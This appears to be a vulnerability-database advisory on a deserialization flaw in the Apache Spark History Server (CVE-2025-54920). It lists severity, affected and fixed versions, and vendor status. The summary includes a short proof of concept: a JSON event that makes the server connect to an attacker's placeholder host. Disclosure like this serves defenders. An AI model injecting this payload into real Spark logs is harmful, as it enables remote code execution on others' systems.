Apache Spark: Spark History Server Code Execution Vulnerability
Key facts
- Attack vector
- Network
- Privileges required
- Low
- User interaction
- None
- Attack complexity
- Low
- Impact type
- Code execution
- Confidentiality · integrity · availability
- High · High · High
- Fix status
- Partial Red Hat: 2 without a fix
Attack profile from CVSS 3.1 · CISA ADP. Fix status from CNA, GitHub and Red Hat. Impact type from CWE-502.
Summary
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
Why it matters now
SSVC decision points
CISA ADP · SSVC 2.0.3
- Exploitation
- None
- Automatable
- No
- Technical impact
- Total
The decision (Track, Attend, Act) also depends on your mission and well-being impact; see CISA's SSVC guide.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| Apache | Apache Spark | before 3.5.7; 4.0.0 to before 4.0.1 | 3.5.7, 4.0.1 | Patch available | CNA |
| — | org.apache.spark:spark-core_2.13 (Maven) | 4.0.0 to before 4.0.1 | 4.0.1 | Patch available | GHSA-jwp6-cvj8-fw65 |
| — | org.apache.spark:spark-core_2.13 (Maven) | before 3.5.7 | 3.5.7 | Patch available | GHSA-jwp6-cvj8-fw65 |
| — | org.apache.spark:spark-core_2.12 (Maven) | before 3.5.7 | 3.5.7 | Patch available | GHSA-jwp6-cvj8-fw65 |
| — | org.apache.spark:spark-core_2.11 (Maven) | up to 2.4.8 | — | No fix listed | GHSA-jwp6-cvj8-fw65 |
| — | org.apache.spark:spark-core_2.10 (Maven) | up to 2.2.3 | — | No fix listed | GHSA-jwp6-cvj8-fw65 |
| — | org.apache.spark:spark-core_2.9.3 (Maven) | up to 0.8.1-incubating | — | No fix listed | GHSA-jwp6-cvj8-fw65 |
- Apache Spark VendorApache Affected before 3.5.7; 4.0.0 to before 4.0.1 Fixed in 3.5.7, 4.0.1 Patch available CNA
- org.apache.spark:spark-core_2.13 (Maven) Vendor— Affected 4.0.0 to before 4.0.1 Fixed in 4.0.1 Patch available GHSA-jwp6-cvj8-fw65
- org.apache.spark:spark-core_2.13 (Maven) Vendor— Affected before 3.5.7 Fixed in 3.5.7 Patch available GHSA-jwp6-cvj8-fw65
- org.apache.spark:spark-core_2.12 (Maven) Vendor— Affected before 3.5.7 Fixed in 3.5.7 Patch available GHSA-jwp6-cvj8-fw65
- org.apache.spark:spark-core_2.11 (Maven) Vendor— Affected up to 2.4.8 Fixed in — No fix listed GHSA-jwp6-cvj8-fw65
- org.apache.spark:spark-core_2.10 (Maven) Vendor— Affected up to 2.2.3 Fixed in — No fix listed GHSA-jwp6-cvj8-fw65
- org.apache.spark:spark-core_2.9.3 (Maven) Vendor— Affected up to 0.8.1-incubating Fixed in — No fix listed GHSA-jwp6-cvj8-fw65
CPE configurations NVD · 10
| CPE | Versions | Role | Vendor |
|---|---|---|---|
| cpe:2.3:a:apache:spark:*:*:*:*:*:*:*:* | before 3.5.7 | Vulnerable | Apache |
| cpe:2.3:a:apache:spark:4.0.0:-:*:*:*:*:*:* | 4.0.0 | Vulnerable | Apache |
| cpe:2.3:a:apache:spark:4.0.0:rc1:*:*:*:*:*:* | 4.0.0 rc1 | Vulnerable | Apache |
| cpe:2.3:a:apache:spark:4.0.0:rc2:*:*:*:*:*:* | 4.0.0 rc2 | Vulnerable | Apache |
| cpe:2.3:a:apache:spark:4.0.0:rc3:*:*:*:*:*:* | 4.0.0 rc3 | Vulnerable | Apache |
| cpe:2.3:a:apache:spark:4.0.0:rc4:*:*:*:*:*:* | 4.0.0 rc4 | Vulnerable | Apache |
| cpe:2.3:a:apache:spark:4.0.0:rc5:*:*:*:*:*:* | 4.0.0 rc5 | Vulnerable | Apache |
| cpe:2.3:a:apache:spark:4.0.0:rc6:*:*:*:*:*:* | 4.0.0 rc6 | Vulnerable | Apache |
| cpe:2.3:a:apache:spark:4.0.0:rc7:*:*:*:*:*:* | 4.0.0 rc7 | Vulnerable | Apache |
| cpe:2.3:a:apache:spark:4.0.1:rc1:*:*:*:*:*:* | 4.0.1 rc1 | Vulnerable | Apache |
- cpe:2.3:a:apache:spark:*:*:*:*:*:*:*:* Versions before 3.5.7 Vulnerable ·Apache
- cpe:2.3:a:apache:spark:4.0.0:-:*:*:*:*:*:* Versions 4.0.0 Vulnerable ·Apache
- cpe:2.3:a:apache:spark:4.0.0:rc1:*:*:*:*:*:* Versions 4.0.0 rc1 Vulnerable ·Apache
- cpe:2.3:a:apache:spark:4.0.0:rc2:*:*:*:*:*:* Versions 4.0.0 rc2 Vulnerable ·Apache
- cpe:2.3:a:apache:spark:4.0.0:rc3:*:*:*:*:*:* Versions 4.0.0 rc3 Vulnerable ·Apache
- cpe:2.3:a:apache:spark:4.0.0:rc4:*:*:*:*:*:* Versions 4.0.0 rc4 Vulnerable ·Apache
- cpe:2.3:a:apache:spark:4.0.0:rc5:*:*:*:*:*:* Versions 4.0.0 rc5 Vulnerable ·Apache
- cpe:2.3:a:apache:spark:4.0.0:rc6:*:*:*:*:*:* Versions 4.0.0 rc6 Vulnerable ·Apache
- cpe:2.3:a:apache:spark:4.0.0:rc7:*:*:*:*:*:* Versions 4.0.0 rc7 Vulnerable ·Apache
- cpe:2.3:a:apache:spark:4.0.1:rc1:*:*:*:*:*:* Versions 4.0.1 rc1 Vulnerable ·Apache
Remediation
- Fix · CNA Apache Spark (Apache Software Foundation) Fixed in 3.5.7, 4.0.1
- Fix · GHSA-jwp6-cvj8-fw65 org.apache.spark:spark-core_2.13 (Maven) Fixed in 4.0.1 Advisory →
- Fix · GHSA-jwp6-cvj8-fw65 org.apache.spark:spark-core_2.13 (Maven) Fixed in 3.5.7 Advisory →
- Fix · GHSA-jwp6-cvj8-fw65 org.apache.spark:spark-core_2.12 (Maven) Fixed in 3.5.7 Advisory →
Vendor assessments
Red Hat
Red Hat rating: Moderate. Red Hat's page for this CVE →
| Product | Status | Plan or fix |
|---|---|---|
| Red Hat Fuse 7 | Affected | No fix yet: Fix deferred |
| Red Hat OpenShift AI (RHOAI) | Affected | No fix yet: Fix deferred |
Timeline
- 2026-10-02 Threatist record created from CVE-2025-54920
- 2026-10-03 Alias added: GHSA-jwp6-cvj8-fw65
References
Exploit 2
More Apache Spark vulnerabilities
- TI-2022-14901 Apache Spark shell command injection vulnerability via Spark UI KEVCVSS 3.1HIGH 8.8
- TI-2023-15314 Apache Spark: Shell command injection via Spark UI CVSS 3.1HIGH 8.8
- TI-2020-07589 Missing authentication in Apache Spark CVSS 3.1CRITICAL 9.8
- TI-2020-16549 Uncontrolled resource consumption in Eclipse Jetty CVSS 3.1MEDIUM 5.3
- TI-2019-14677 HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be… CVSS 3.1CRITICAL 9.1
- TI-2018-08427 Improper authentication in Apache Spark CVSS 3.1MEDIUM 4.2
Sources
- CVE-2025-54920 · CVE Program
- CVE-2025-54920 · NVD
- FIRST EPSS
- GHSA-jwp6-cvj8-fw65 · GitHub Advisory Database · CC BY 4.0
- CVE-2025-54920 · Red Hat security data · CC BY 4.0
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences